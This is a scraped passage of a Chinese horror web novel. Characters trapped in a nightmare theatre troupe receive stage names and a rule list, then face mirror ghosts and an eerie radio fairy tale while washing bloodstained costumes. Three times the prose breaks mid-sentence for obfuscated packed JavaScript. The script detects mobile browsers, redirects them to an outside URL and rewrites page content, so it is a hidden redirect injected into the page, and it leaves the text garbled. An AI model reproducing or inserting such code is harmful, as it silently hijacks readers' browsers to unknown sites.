付明笙不会想到自己是被拖进了他人的梦境,他第一反应是自己类似于被选中的漫画或小说人物,进入了奇怪的异世界,嘴上虽然抱怨,但心里甚至还有几分好奇和期待。 可能是因为暂时没有眼前的危险,所以他只当自己进了安全屋,也没想过要注意言行,而与他相对的,其他三个人都相当沉默。 苏夜凛还在想水月的事,她独自在上一次的噩梦中活下来,而且成功融入了剧团的生活,大概是平时的职业素养帮了大忙。 不过她可以确信,上次的演出中没有在观众席看到她,也就是说他之前就在用演员的身份行动,和苏夜凛他们面对的东西并不一样吗? “快到时间了。团长快要回来了请各位做好准备——对了,我上给各位的茶,也最好在团长来之前喝掉。” 水月看着房间的某处,似乎是应和她,时钟的声音也越发清晰,但是苏夜凛看不到时钟在哪。 “这玩意儿……”付明笙端起茶杯,不无嫌弃地嘟囔着:“这什么茶啊,味道这么怪……” 苏夜凛也在犹豫着,但是她眼见着一旁的墨菲斯已经将茶饮下,便也跟着啜饮一口。 液体接触到舌尖的瞬间,一股强烈而令人不适的腥甜气味涌了上来,随后,她感觉视野所及之处都镀上了一阵淡淡的红色。 接着,她的眼前开始出现许多莫名其妙的东西。 比如后面的床铺里面,有什么东西在慢慢蠕动! 水月的裙摆之下,无处蜘蛛的腿脚正在刺破布料,躁动不安地朝着四处爬出! 比如天花板上好像出现了一张张的脸,若隐若现地嗤笑他们,其中有一张看着眼熟,原来如此,那是付明笙的脸,他和别人不一样,正在惊恐地转动脑袋,却无法挣脱…… 苏夜凛立马看向另一边的付明笙,他的脸……不,他没有脸了。他的脖子现在直接连着蜘蛛的腿脚,他的手还想惊恐地拿走蜘蛛,蜘蛛也像是把自己的身体从中挣脱,他们都以一种可笑的姿势挣扎蠕动…… 苏夜凛忍不住躬下身,手捂住嘴,压制着呕吐的冲动。 “喝完,一定要喝完。”水月的声音还飘飘然地在耳边回响。 “苏、苏夜凛?你没事吧??”付明笙的声音听起来像是一种怪物,被扭曲成低沉嘈杂的音色,苏夜凛不敢抬头看他。 无形的恐惧突然在脑中大肆发散——如果说水月并不是他们的伙伴呢?如果说,她其实已经被污染,成为梦魇的帮凶呢?她不禁冒出冷汗。 “没事,我觉得水月的建议没错。”只有墨菲斯的样子还是稳定的,没有变化。但是他身边的景象也开始扭曲晃动,似乎所有有形的东西都成了未知的卵,“某种东西”正孕育其中,对苏夜凛虎视眈眈,它们正在蠢蠢欲动要从表皮破壳而出…… 苏夜凛闭上眼睛,摇了摇头,把一切不安的因子从脑中晃出去,随后将“茶”一口饮尽。 浓烈的血腥味,混着半温不凉的淡淡茶香,她感觉整个鼻腔都在对神经系统抗议。 心跳声变得格外剧烈,又逐渐趋于平缓,过了好一阵,苏夜凛才睁开眼睛,惊奇地发现,除了那片淡淡的红色仍然像一层膜蒙在眼前,一切都恢复正常了。 付明笙虽然一路抱怨不停,见此情形也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“您几位,即便在我看来,也是相当优秀的条件啊……只要假以时日培育,一定能在舞台上绽放光彩的。” “加入这个剧团的话,我们也要开始跟着训练吗?就像这位水月小姐一样?”墨菲斯示意水月的位置。 “是的,是的……”团长瞥向水月的眼神,则很快变了样,带着几分不信任的窥视:“水月为人很木讷,她恐怕没有为你们介绍剧团吧……唉,也罢,既然我们已经是一家人了!” 此时,团长像变戏法一样,从衣襟中掏出一张卷轴似的东西,用力一抖,一张泛黄的纸展开,上面写着“剧团工作人员基本规则”。 === 来了!苏夜凛心里忍不住感叹。她就是等着这一刻,这才是这个梦魇和宿主的标志。 她粗略地看见上面的内容,包括“维护”、“练习”、“值班”、“制止女主角的……” 但是还没等她完全看清,团长就把那张纸收了起来,堆笑的脸上满是褶皱,又比最初多了几分阴暗: “这些规则,之后我会挂在休息室的墙上供各位熟悉,只不过在我们正式开始之前,我也需要再确认各位的意愿。” 确认意愿?苏夜凛哑然失笑,如果真的想问别人意愿,总该让人把那份规则看清楚再定夺吧? 不过,总归他们也只能加入这场考验。 “先声明,我需要各位明白,我们虽然欢迎并愿意培育所有独具天分的演员,但是对于能成为主演的人,有极其严格的标准。剧团中,目前只有一位演员达到了真正的‘主演’资质,而在这之前,各位还要活在她的阴影之下……想清楚这点,你们能够接受吗?” 他盯着来访的客人们,眼珠上抬,露出更多阴森森的眼白,仿佛审视着送入狼口的羔羊。 不能成为主演?那倒还是好事了,他们可不想像第一幕戏的女主角那样,生出一堆蜘蛛和可怖的胚胎种子。 苏夜凛和站在团长身后的水月对了个眼神,点了点头。 27. 舞无眠 08 看见领头的女孩已经首肯同意,团长猛地一拍手,像宣布什么大事一样语调昂扬: “好了!各位既然也已经决定加入我们了,那就由我将新身份发放给各位吧!” 新身份?新来的几人还没有反应过来,只见团长已经凑近了他们,一个个接着细细端详: “没听明白?我的意思是,进入了我们剧团,就要舍弃你们已有的身份啦,就像水月那样,我会给你们每个人发一个艺名,这就代表你们的新身份啦!” 进入一个新剧团做演员,就要舍弃原本的身份,这是毫无道理的事。但是在这个世界中,被剥夺名字又有什么不可能呢? “小伙子你嘛,欠点灵气……但是硬件也是相当不错了,而且很多女观众吃你这款啊!只要刻苦肯练,一定也能出人头地的!” 付明笙见他满面红光地夸赞自己,也不好意思不接着,连忙点头: “是是是,那么团长,请问我的艺名是……?” “毋庸置疑,你就是‘镜花’!” “啊?镜……花??” 这无疑是和那边的“水月”对仗的名字,但在付明笙这个大男子思维的人听来,怎么都挺奇怪。 “对啊,镜花水月,一向是我们这里优秀的候补成员,对你心怀厚望哦!”男人搓着手,笑弯了眉眼,看起来极其和善。 “可是团长,我一男的叫这个还是有点奇怪吧,要不我和‘水月’女士换一下,听着就没那么别扭……” “小伙子。”团长打断了他的诉求,原本堆笑的脸被阴沉的注视取代,这才让付明笙发现,他虽然是这样低矮的个子,散发出的压迫力却一点也不少。 “你在工作、在上学的时候,不知道不能随便和领导老师顶嘴吗?如果打乱了对方的思路,或者扰乱了心情,不知道有什么等着你啊……” 付明笙想说的话只能卡到嘴边,转为低声应和。 苏夜凛旁观着,忍不住在心里憋笑。她以前可是没见过付明笙这副吃瘪的样子,现在他要仰仗苏夜凛他们帮忙,还只能在这个诡异世界里低三下四。 虽然苏夜凛早已把许多过往都抛诸脑后了,但看这个老同学吃几次亏她还是挺愉快的。 不过愉快的心情不会持续多久。 因为团长下一个对话的对象,就是她了。 苏夜凛默然,等着眼前正在观察自己的男人,像等待宣判一样难熬。 男人在打量她的时候真的花了很长时间,眼睛也转个不停,仿佛是对一个珍稀商品估价: “嗯……姑娘你的外貌和气质,潜力和身段,简直是下一任女主角的有力人选!” 下一任女主角?苏夜凛哭笑不得,不过是一个角色罢了,怎么说得像竞选市长似的? 何况她也是真的很害怕去演那个女主角。 “所以你的身份……就是:晨星!” 这个名字其实还蛮不错的,有一种可以驱散黑暗的感觉——苏夜凛如此安慰自己。 “至于你……”看到墨菲斯,团长的表情就和面对其他人完全不一样。 他那张精明得令人有点厌恶的脸上,不再是审视和游刃有余,反而更多透露出一种接近于黯淡和茫然的神色。 “什么呢?团长。”墨菲斯也平静地凝视着他:“您想为我起什么名字?” “唔……”团长沉默了很久,目光直视着虚无。 “……蓝闪蝶” 男人吐出这三个字。 “啊?”付明笙大跌眼镜,忍不住追问团长:“为什么?怎么给他的艺名,感觉和我们都不在一个世界啊?” “因为……”团长语塞了一会儿,又恢复了一些神气,“呃,这位小哥,有点让我想起我收藏的大蓝闪蝶。” “莫名其妙……”付明笙在一旁小声吐槽。 苏夜凛也是听得一头雾水,却也觉得没有必要和他争辩,心里把墨菲斯的名字改成了“蓝闪蝶”。 “好啦!各位就请记住自己的新身份,欢迎加入这个大家庭!”团长分配完他们的名字,心情明朗地一摊手:“如果有什么不明白的,来咨询我,或者问水月都没问题。我期待排练的时候见到各位!” 等到团长的身影消失后,留下几个人面面相觑,水月将那张写着规则的海报纸贴到了休息室的空墙上。 === 作为本市传承悠久的舞剧团,我们长期承蒙各位观众的支持喜爱。因此,我们也希望各位成员严正律己,从普通员工到演员,都要遵循以下原则: 1.所有人必须参加例行排练。每日排练时间:22:00~次日05:00。 休息时间:05:00~12:00,请勿离开后台休息室。 2.排练之前,预备演员需要完成练舞室和剧场舞台的打扫,台本的核对,以及舞台装置的检查。 3.清洗衣服的时间固定为:16:00-18:00。在此时段之外的时间洗衣服,会留下永远的痕迹,我们不允许这种失误。 4.用餐时间为:19:00-22:00,预备演员需要轮流值班,负责制作餐食和清洗工作。 5.女主角“仙后”是我们的宝贵财产,但是她的精神状态并不稳定,所有人都有义务制止女主角的发狂。 6.不经团长允许,不能离开剧团基地;不经主演允许,不能随便借用戏服。 7.永远不能进入休息室的后门。 看完这份规则,苏夜凛制止不住自己苦涩的表情。 且不说“制止女主角发狂”“不能进入休息室后门”这些一看就非常不妙的命令,光是工作和作息安排方面,就足够让人头疼了。 “这个时间表……简直像开玩笑一样。” 她细数了所有包含时间的描述,和正常人习惯的作息时间实在是大相径庭,说这个剧团是日落而作,日出而息也不为过吧? 不过,对于目前只能待在剧团里的他们而言,本来也分不清楚确切的时间。 墨菲斯环视了一圈,对着休息室的一边说:“那个时钟的时间准确吗?” 那是一块老式的钟表,时间大概显示着三点半。 水月点点头:“就我这两天的观察,没有什么大问题。” “但是——”苏夜凛忍不住问了另一个重要问题:“这显示的是凌晨,还是下午啊?” 毕竟规则里面用的是24小时制,但是这种12小时的刻度钟,是分不清白天夜晚的。 “是下午吧,毕竟凌晨的话,已经是排练时间了,团长应该不会来找我们说话。” 墨菲斯这样说道。道理虽然如此,但是苏夜凛还是很介意,她问水月能不能通过这个表盘来分辨具体的时间。 “这是一个陷阱,”水月抿了抿唇,随后看着自己的床位:“没有直接分辨的方法,我之前靠的是跟着团里其他人的行动,以及定闹钟来分辨——虽然这里根本也没有闹钟,只有一个计时钟,可以设定在几个小时之后提醒你,我都是靠这个来定早晚。” “原来如此……每个人都有计时钟吗?”苏夜凛庆幸于在后台遇到的伙伴是水月,还能提供这些有用的信息。 “不,计时钟是厨房的东西,每次我都是偷偷拿来用的,虽然规则没有禁止这个,但是我也尽量不让团长和仙后发现。” 仙后就是规则里的唯一的女主演,从规则里看得出她是剧团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166583|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里最为尊贵的存在,自然是不能随便招惹。 “不会被其他人发现吗?”墨菲斯也难得露出疑惑的神情,“虽然至今我们还没看见其他演员,但是至少排练和睡觉的时候,都会碰面吧。” “暂时不用担心,因为我们都是新来的,其他人不在这个休息室。”说到这里,水月笑笑:“说实话,有你们来我还是很高兴的,之前我自己住在这个休息室,说完全不害怕是骗人的。” 苏夜凛也舒了一口气,虽然正常情况下看到那几张挤在一起的破床,只会觉得非常凄凉,但是这种情况下,他们几个能待在一起无疑是好事。 “等一下?!”付明笙突然意识到什么,赶忙追问水月:“你的意思是,我们几个都要住在一起吗?” 女子点点头,一副理所当然的表情。 “这这这不好吧,我们两个男的,再怎么说也要回避一下……” “啊,我是觉得不用太担心,盥洗室和厕所是分性别的,至于换衣服,我们分开来换就好了,睡觉的时候也是有睡衣的。” “那也不行啊,太随便了吧!大不了叫那个团长再给我们分一下房间?”付明笙说着说着,瞟了一眼不作声的墨菲斯,眼神又转向了一旁的苏夜凛:“苏夜凛,那个你也这么觉得吧!你们女生肯定要害羞的呀。” …… 苏夜凛没有回他的话,心里有点无奈。他介意这个也没什么,若不是知道这是一个梦魇领域,她也会介意。但是如今事态紧张,而且水月明明都解释过,没空为这点小事大惊小怪了。 “我真服了,你们怎么都那么怪啊,连苏夜凛都不回我的话……” 大概是来这里之后,一切都不顺,平时呼风唤雨众星捧月的感觉也体会不到,付明笙一味挫败地挠头抱怨。 “叫我晨星。团长不是说了吗,我们都有新身份了,虽然这一条不在规则里,但还是遵守为好。” 苏夜凛冷静地丢出这么一句话,因为确实在理,给付明笙说得有些发懵。 “这个么,倒也没错,我只是还没习惯改口……” “还有,我好像本来就没有必要回你的话。”听到这个人搞不清状况的自言自语,苏夜凛越发感到烦躁,“我跟你本来也不是多熟的关系。” “你——”付明笙露出惊讶的神色。虽然性格比高中的时候要温和不少了,但苏夜凛还是看得出他和以前差不多自大。他是怎么好意思的? “也就是说,现在快到下午四点了,我们是不是也该准备按照时间表来做事情了?”墨菲斯适时地出声,按灭了这两人微妙的火药味。 水月点头:“还好今天没什么衣服要洗,我们可以轻松一点。” 她去搬来两个洗衣篓,里面是几件相似的白色长裙,上面沾满了红色的液体,正如苏夜凛他们上次看到的舞剧一样。 “对了,因为厕所和盥洗室还是分男女,所以我们要分开洗。不过请放心,那边虽然看起来有点阴森,但我试过,没什么大问题。” 她简明地说清楚状况,把一筐衣篓递给了墨菲斯:“蓝闪蝶,麻烦你们注意一下周遭情况,觉得有什么不对,回来可以和我交流。” 她显然是看墨菲斯更冷静,也搞得清状况,所以重点叮嘱他。 “没问题,感谢提醒。”青年也只是点了点头。 === 拿着洗涤剂和水桶来到盥洗室,准备放水的时候,苏夜凛却又担心了起来。 她发现这里根本没有水月说得那么“友好”。 “水月,这个究竟是……” 水月神色平静,苏夜凛却只敢低着头,抬起一点点目光,观察着镜子里正站在两人身后的“她们”。 28. 舞无眠 09 苏夜凛强行稳住自己的气息,一边磨磨蹭蹭地拿起洗衣篓,一边小心地窥视镜中景象,还要避免直视镜中。 她暗暗看明白了,镜中的身影,除了埋头看水龙头的自己和水月,还有三个身着白袍的女人。 “她们”背对着两人,头发凌乱,长长的白袍像裙子一样遮住了四肢,也不知道哪来的风将她们的长发和裙子吹得微微扬起。 苏夜凛感觉她们身着的白袍,就和水月身上的这件一模一样,和舞台上的侍女们也一样,难道这就算是这个剧团的制服?连鬼也要跟着穿? 可是,加上站在她左边的水月,大家都穿着这身轻飘飘阴森森的白衣,只有苏夜凛是平时常用的一身行头,这样的氛围让她有些起鸡皮疙瘩。 幸好,“她们”好像并没注意到这两个人的到来,也有可能是并不在意,所以没有转身,也没有像恶鬼一样缠上来。 难道说,两个人不发出声音的话,就不会激怒她们? 可是这怎么可能呢?苏夜凛看着洗衣篓中沾血的白裙,否定了这个念头。再怎么说,她们也要把戏服洗干净,那样就必然会发出声音。就算靠拖延,也不可能超过两个小时。 那几个女人具体是什么样的?她们是危险的、不能触碰的存在吗?还是说她们可以交流?毕竟没有哪个规则说不可以和剧团里的人交流。 带着这些疑问,苏夜凛本能地想要回头看一眼,却又迟疑了。 简单地说,她很害怕回头后,看见那些女人出现在自己身后,却更害怕自己看不见她们。 “我们,直接开始洗衣服就可以了……?之前你也是这样的吗。” 苏夜凛僵硬地活动了下胳膊,迟疑着对水月开口。 因为惴惴不安和心虚,她声音很小。这也是自然,水月说着洗衣服的过程没有什么危险,她们进来后,却看到了这种东西,谁能不害怕呢? 不过水月既然在这里生存过一个梦境,可能她已经确信这里没有危险。 令人绝望的是,水月对她摇了摇头。 这是什么意思?苏夜凛愕然,只能理解为,之前的她也没有见过这幅场景。 她仔细观察这位同伴,发现虽然水月仍然很冷静,仿佛她什么也没看见,但是她的动作一点也不利落——手指有一搭没一搭地整理衣服,显然也是在思考怎么应对当前的情况。 就这样,水月慢悠悠地放好两个堆叠起来的洗衣盆,把一瓶撕了标签的洗涤剂摆在中间。 “总之,咱们慢慢洗吧,我感觉,暂时是不会有人打扰的。” 水月的声音也很轻,两人很默契,避免直接谈及镜中女人的事情。水月的意思好像是先无视她们,仿佛自己和她们是两个世界的存在。但是也没有打包票说一定安全。 不过事到如今,又能怎么办呢?苏夜凛点点头,用余光瞄着同伴,看她是如何行动。水月挽起袖子,她也有样学样。 水龙头拧开,清澈的水流冲刷着洗手台,两人顺理成章地想把脏衣放进水盆,再接满水。 然而,镜子那一头的景象,让苏夜凛大跌眼镜。 她看见镜子里,水龙头里流出来的是红色的液体。 她突然联想到自己以前看的冷知识,有一些工厂排出的废水,会因为金属元素的存在,呈现出锈红色,乍看很骇人,可实际上也是物理能解释的范围,这也是一些恐怖题材作品的灵感来源。 可是她们眼前清澈的水,以及镜中作为对照出现的、比铁锈色更加鲜红的水,绝对无法用这种原理来解释。 苏夜凛咽了咽口水,比起恐惧,她更想知道,这水真的还能用来洗东西吗?? 她把手伸到水龙头之下,手心里快速聚集起一捧清水,但是镜子那边,浓稠的红色液体在手里集起了泡沫。 水月似乎也在忌惮相同的事情,她把刚才拿出的脏衣服又放回了衣篓里,在空盆里放水,又挤了一点洗涤剂进去,眉头紧锁。 她们该怎么做,或者说现在她们做错了吗?苏夜凛绞尽脑汁,试图梳理出可以解释现在情况的东西。 她想到了那些规则。 时间、行为、禁忌……她闭紧了眼睛,拼命地让那一串串的文字再次浮现于脑中。 == 清洗衣服的时间固定为:16:00-18:00。 在此时段之外的时间洗衣服,会留下永远的痕迹。 我们不允许这种失误。 == ——时间?有可能是因为时间!苏夜凛恍然想到。 就像之前水月和他们说的那样,和时间相关的东西很有可能是陷阱。 虽然他们也都确认了时间,在四点到六点这个“允许的范围”内进入了盥洗室,但谁知道这就一定是正确的呢? 能确认时间的,只有休息室里的钟表,有可能他们进来后台的时候,因为有不同人加入,影响了这个世界的稳定性,时间也受到了扰乱。 或者,心怀恶意的“某人”调整了时间,一切都有可能。 而如果他们搞错了时间……下场就是“留下永远的痕迹”。 只看字面意思,就是说无法洗净的衣服会引来严重的后果。不过这句话也可能代表更深的隐喻。 虽然语焉不详,但逆着这条规则的后果,绝不是可以容己方测试的好事情。 她猛然回神,虽然不敢四处张望,但是快速确认了一下附近有没有能看时间的东西。 “想知道时间的话,可以等广播。”此时,水月低声开口,显然她也注意到了苏夜凛所想的事情。 “每天下午四点半的时候,会有定时广播。” 盥洗室里也装着广播吗?刚进来的时候苏夜凛未曾注意,不过水月这么说了,应该是没错。 “原来如此,一般会播报什么呀?” 苏夜凛发现两个人装作正常的情况下,轻声的谈话并不会惊动他们身后的几个长发女鬼,事已至此,稍微说点什么总比两人杵在原地好,还能缓解一些紧张感,她略微放松警惕,和水月攀谈起来。 “这个嘛,也没什么特别的,我记得也就是一些天气预报,本地新闻,偶尔会放放歌。”水月回忆起来,看来她在这里体验到的时间比想象还长,至少在演员们的感知里,已有好几个日夜。 “本地新闻?还有这种东西。”苏夜凛灵机一动,猜想着新闻里有没有可能存在什么线索,“有什么有趣的事吗?” “我感觉没有什么规律,也没特别有用的线索。”水月似乎感觉出来苏夜凛想问什么,努力地回想起细节: “说是新闻……但其实不太像真的在播报某个地区发生了什么事,感觉像是很多零碎的小故事拼在一起,没什么逻辑。而且只有两次是中文,其他是英语还有其他语言,我听得也不太明白。” “这样啊……”少女心想,总之待会儿广播响起的时候仔细听听,说不定会有更多信息呢? 谈话间,苏夜凛还是注意着镜像里出现的女人们,她们只是在厕所隔间的门前晃来晃去,连踱步都算不上,像罚站似的,还有一个干脆靠在门口,仿佛累得不行想睡觉。 但这不足以让人放松警惕。 水流已经浸满了两人的洗衣盆,镜子里的景象看起来就是惨不忍睹的两盆血水。 还要持续到什么时候,广播才会想起?苏夜凛内心有点焦躁,她总觉得身后的女人们下一秒就会因为她们迟迟不开始洗衣,转身把脖子凑过来一探究竟! “叮——叮——咚” 还好,就在她快要沉不住气的时候,广播终于响起。 “现在是,16:30分。【】【】文化中心,下午特别剧场,为您播报……” 一阵慢悠悠的铃音跟随着女声徐徐从头顶上传来,虽然是有些残损失真的老式音响,但内容却意外地听起来并不费劲。 除了“xx文化中心”这个名字仿佛做了特殊处理似的,发出呲呲啦啦的响声,其他的吐字都很清晰。 苏夜凛和水月相视一望,确认了时间这个要素目前是没错的。 但是这就更糟糕了,因为镜中的景色,无论是那三个女人,还是水流的颜色,都没有丝毫变化。 也就是说,镜子里的东西只是迷惑她们,根本毫无意义吗?水也没有任何异常,只要正常地洗衣服就行?可是,按照这个梦境的风格,她觉得不会有这么简单的事情! 苏夜凛还在纠结这些的时候,水月已经动作麻利地扯出一件沾染血污的长裙,放进了水盆里。 见状,她也只能有样学样,拿出一件衣服硬着头皮开洗。 很快,广播里也逐渐发出窸窸窣窣的声音。 原本,在念完开场白之后,广播仅仅是在说天气如何如何,公园的空气多么美好。就和水月所讲的一样,完全没什么意义。 就在苏夜凛挤着更多的洗涤剂,质疑着广播是否只是一个确认时间的道具时,一个突兀的响起。 【童——话——世界。】 这是一个低沉的男声,略带嘶哑,字正腔圆,却努力模仿着充满童趣的语气,在广播的渲染之下,他的音色更显怪异,又有几分滑稽。 本来正在播放的天气预告就像突然被切断了一样,两人大气不敢出,等着他继续诉说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259950|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【小朋友们,你们过得好吗?上次的童话世界故事,大家都特别喜欢,今天,我们就要开启一段全新的旅程啦!】 粗犷的男声还在愉快地念着开场白,同时还播放着欢快的背景音乐。而盥洗室惨白的灯光下,苏夜凛只是崩溃地发现,即便沾了洗涤剂,衣服上的血痕还是洗不掉。 “这不太对。”水月也喃喃自语,但没有表现出慌乱,苏夜凛不得不佩服她的冷静。 “广播……”苏夜凛深呼吸,将希望寄托于那个略显古怪的男声,“广播在讲的故事,应该有什么意义吧……?” “不一定,之前我也是这么想的,但是听到的,也不过是一些毫无眉目的小故事而已。”水月劝苏夜凛不要太指望广播内容,但是自己也认真聆听起来。 【今天,跟随着新的故事,我们会认识新的主人公哟! 她是住在森林里的一个可爱小女孩,总是穿着一身红裙子,一双小红鞋。她喜欢在森林里找一朵漂亮的小花戴在头上,久而久之,大家都叫她苹果花。 因为父母很早就去世,所以苹果花一直跟着外婆生活。 最近,外婆的身体不好,眼睛逐渐看不清了,本来和蔼的她脾气也变得越来越差,无法劳作的外婆,让苹果花去外面摘果子,采蘑菇,维持两人的生活。 善良又乐观的苹果花并没有抱怨生活,她总是去外面采集很多吃的,每个星期还会去镇上做帮佣,换来可以吃几天的面包。 虽然外婆每天都会骂她,偶尔还会抄起烧火棍打她,但她相信,外婆只是一时心情不好,只要自己表现得好,她又会变回以前慈祥的模样,她们就能获得幸福,光是想到这些,苹果花就很幸福! 可惜,幸福不会总是持续,但是痛苦时不时就来敲门。临近冬天的时候,就是祖孙俩最难过的日子啦! 这一天,苹果花在林中游荡了很久,却只采回来可怜的三四个蘑菇,还有两个酸涩的果子。 更不巧的是,最近镇上传播起奇怪的瘟疫,也没有人愿意找她做帮佣了。 她找啊找,到处都只有枯萎的果子,甚至都找不到一只冻死的小动物。 回家之后,外婆大发雷霆,奚落苹果花的愚蠢和无能,叫她不论是去杀兔子,还是去河里抓鱼,总之要让她们这几天都可以吃饱! 女孩哭着跑出家门,一直跑到平时洗衣服的河边,她没了力气,跌坐在水边。 一点点微薄的阳光笼罩着她,水面倒映出女孩的影子。 她对着河面发呆,却发现了一件令人惊奇的事情! 虽然她在哭,但是水面上倒影的自己却在愉快地笑着。苹果花发现,倒影和自己穿的衣服不一样,而且脸上干干净净的,她目光炯炯地看着苹果花。 “你是谁啊?你为什么和我长得一样?”苹果花对着水面发问。 “我?我是河的仙女!苹果花,你是个热情乐观的女孩,我一直看着你,你在洗衣服的时候还会唱歌呢!但是为什么,你今天如此闷闷不乐?” 河的仙女这样问,苹果花擦了擦眼泪,一五一十地说出了她受的委屈。 “就这点小事?不过,你这样的小孩子,确实很难在冬天生存,”仙女若有所思,随后想到了一个好办法: “这样吧,我给你一些吃的东西,你把它拿走,外婆就不会骂你了!” 说着,仙女的怀中捧着几个多汁的果子,甚至还有烤好的鱼,和苹果花完全一样的面容自信地看着她。 “好厉害!谢谢仙女,但是,我要怎么把这些东西带走呢?” 苹果花十分欢喜,但是又困惑于怎么拿走水中的幻象,她伸手进去,只能摸到凉凉的清水。 “你拿一个可以装东西的篮子过来吧!不过,按照规矩,你也要付出一些东西,才能交换仙女的恩惠……” 仙女若有所思,又闪烁着目光看向少女的头顶: “这样,把你头上戴的那朵鲜花也给我,作为交换吧!” 善良的仙女给出了非常简单的条件,饥寒交迫的苹果花连连点头,回去取了篮子,又把自己头上花了很久采到的鲜花摘下,将篮子浸到了水里……】 苏夜凛本来听得正出神,却又有点毛骨悚然。 镜子里,本来在身后半天不动的“女人们”似乎朝着她们的方向挪了半步。 因为苏夜凛之前都出于谨慎和害怕,微躬着身子,所以看不见她们的脚。在她站直之后才发现,原来三个女人的脚尖一直都是朝着她们的背后。 原来她们一直都观察着自己,只是听到了广播内容之后,僵硬的身体才慢慢动起来。 29. 舞无眠 10 【苹果花拿起漂浮的竹篮,她惊喜地发现,里面真的放着成熟的果实,还有两条蹦蹦跳跳的活鱼! 而河之仙女也拿走了她放在河面上的鲜花,戴到了头上,对她甜甜地一笑。】 广播里故事还在继续,苏夜凛的大脑飞速旋转着。 倒映出来的“仙女”。 透过水面的“交易”。 虽然不知道水月之前听到的是什么,但是很明显这次的广播是一个有头有尾的故事,而且很可能含着重要线索。 与此同时,背后的女人们悠悠飘上前来,一个直直地盯着苏夜凛,另外两个聚集在水月身边。 苏夜凛不敢直视她,但还是难免让目光瞟到镜中的景象,女人的脸就挨着她耳边,长发稍微撩开,露出一只眼睛,阴恻恻地观察着自己。 虽然她看不真切,但是毛骨悚然的凉意在皮肤上逐渐升腾。 因为镜中的女人,似乎正好长了张和她一样的脸…… 苏夜凛的目光沉淀在了洗衣盆里,洗涤剂放了很多,但是血渍却异常顽固,怎么也下不去一样,令人有些绝望。 虽然身后的女人动作很慢,但是因此更显得危险。苏夜凛只能焦急地听广播里的童话故事。 【苹果花满载而归,外婆却并不怎么高兴,而是怀疑她怎么得到了这些东西。 不过,至少她们今天不必挨饿,外婆也不再咒骂她没用! 从此之后,苹果花每天都要到河边,和湖中的仙女聊天。 仙女说自己其实很孤独,只有心灵纯洁的孩子才能看到她,所以她愿意帮助苹果花。 苹果花经常去和仙女交换食物,当她没有东西可以换的时候,就悄悄去外婆的床头柜,拿走一些零碎物品。 比如做衣服剩下的缎带,比如很久没人翻阅的旧书…… 直到有一天,她想拿走一块宝石,虽然那只是一片劣质的、比豆子还小的宝石碎块……但是很糟糕,被外婆发现了。 那天,苹果花身上被打的青一块紫一块,胳膊上一道道血痕。 她奔跑出门,她嚎啕大哭,觉得自己无处可去,但是她真的不是故意偷东西,因为她不知道还有什么能用来交换了。 此时气候已越发寒冷,风过冰凉,河面已经有点结冰了,仙女说过,等到河水全部结冰,自己就看不到她了……】 【苹果花呼唤着,幸好仙女仍然出现在她的面前。 仙女也没有往日那么精神了,哈欠连天,告诉苹果花,再过几天,自己也要去休息,可能就没法和苹果花说话了。 苹果花哀求着,希望她能给自己一些过冬的物品,如果外婆还是生气,不让自己进家门的话,她好歹也不至于冻死在外面。 仙女看见她身上的伤口,还有她那绝望又急切的样子,怜悯地说道: “唉,可怜的苹果花!可惜,我可以帮你,但是你想想,我之前都帮助你很多次了,总也不能一直接济你。 所以这次,你需要给我更有价值的东西作为交换,才可以得到你想要的!” 苹果花愣了愣,她想不到自己还有什么更具价值的东西可以交换了! 她摸了摸自己的头顶,因为太冷,她连一朵鲜花都无法摘到,自然也没法像第一次见面那样,把自己的花拿给仙女。 “告诉我仙女,你想要什么?”她央求地问着水面的另一端。 “我……想要你身上的这件红裙子。”仙女认真地说着。 仙女一直都穿着白色的衣裙,戴着金色的桂冠,苹果花羡慕她的优雅,但是没想到仙女喜欢苹果花身上热情的红色。 虽然这条裙子对于贫寒的苹果花来说,十分珍贵,但是她相信仙女会给她更好的东西! “可以、我可以交换!”苹果花连连点头,虽然天很冷,但是她毫不犹豫地就要解开外套,脱下自己的裙子。 “等一等,你的裙子虽好,但是它现在又脏又旧,有的地方还褪色了!”仙女难得地皱眉,指点着苹果花:“我知道,你是个可怜的孩子,这衣服缝缝补补才穿了这么久,但是,你不能直接这样把它给我,我是不会穿的。” “那,我该怎么做呢?”苹果花的声音里带上了哭腔,她可没有钱去镇上买一条新裙子的钱。 “唉哟,别哭鼻子!我又不是要你做什么不可能的事情!”仙女又笑了出来,“你只要让它重新变成最漂亮、最鲜艳的红色,再把它拿给我,不就好了?”】 就在男声绘声绘色地讲述时,苏夜凛的面前,细长苍白的手指伸出袖管,从少女的头顶慢慢划下,拂过额发,遮住眼睛,直至五指都搭上她的咽喉…… 身后的女人似乎想要抓取什么东西,又似乎是想要扼住她的脖颈。苏夜凛虽然害怕,手上的动作却没有停下。 听着广播故事,她和水月大概也明白了状况。这个故事的提示还是挺明显的,透过水面的交易,对面的仙女会给少女想要的东西,而她索求的是红色裙子。 水面和镜面不也是一样的功能吗? 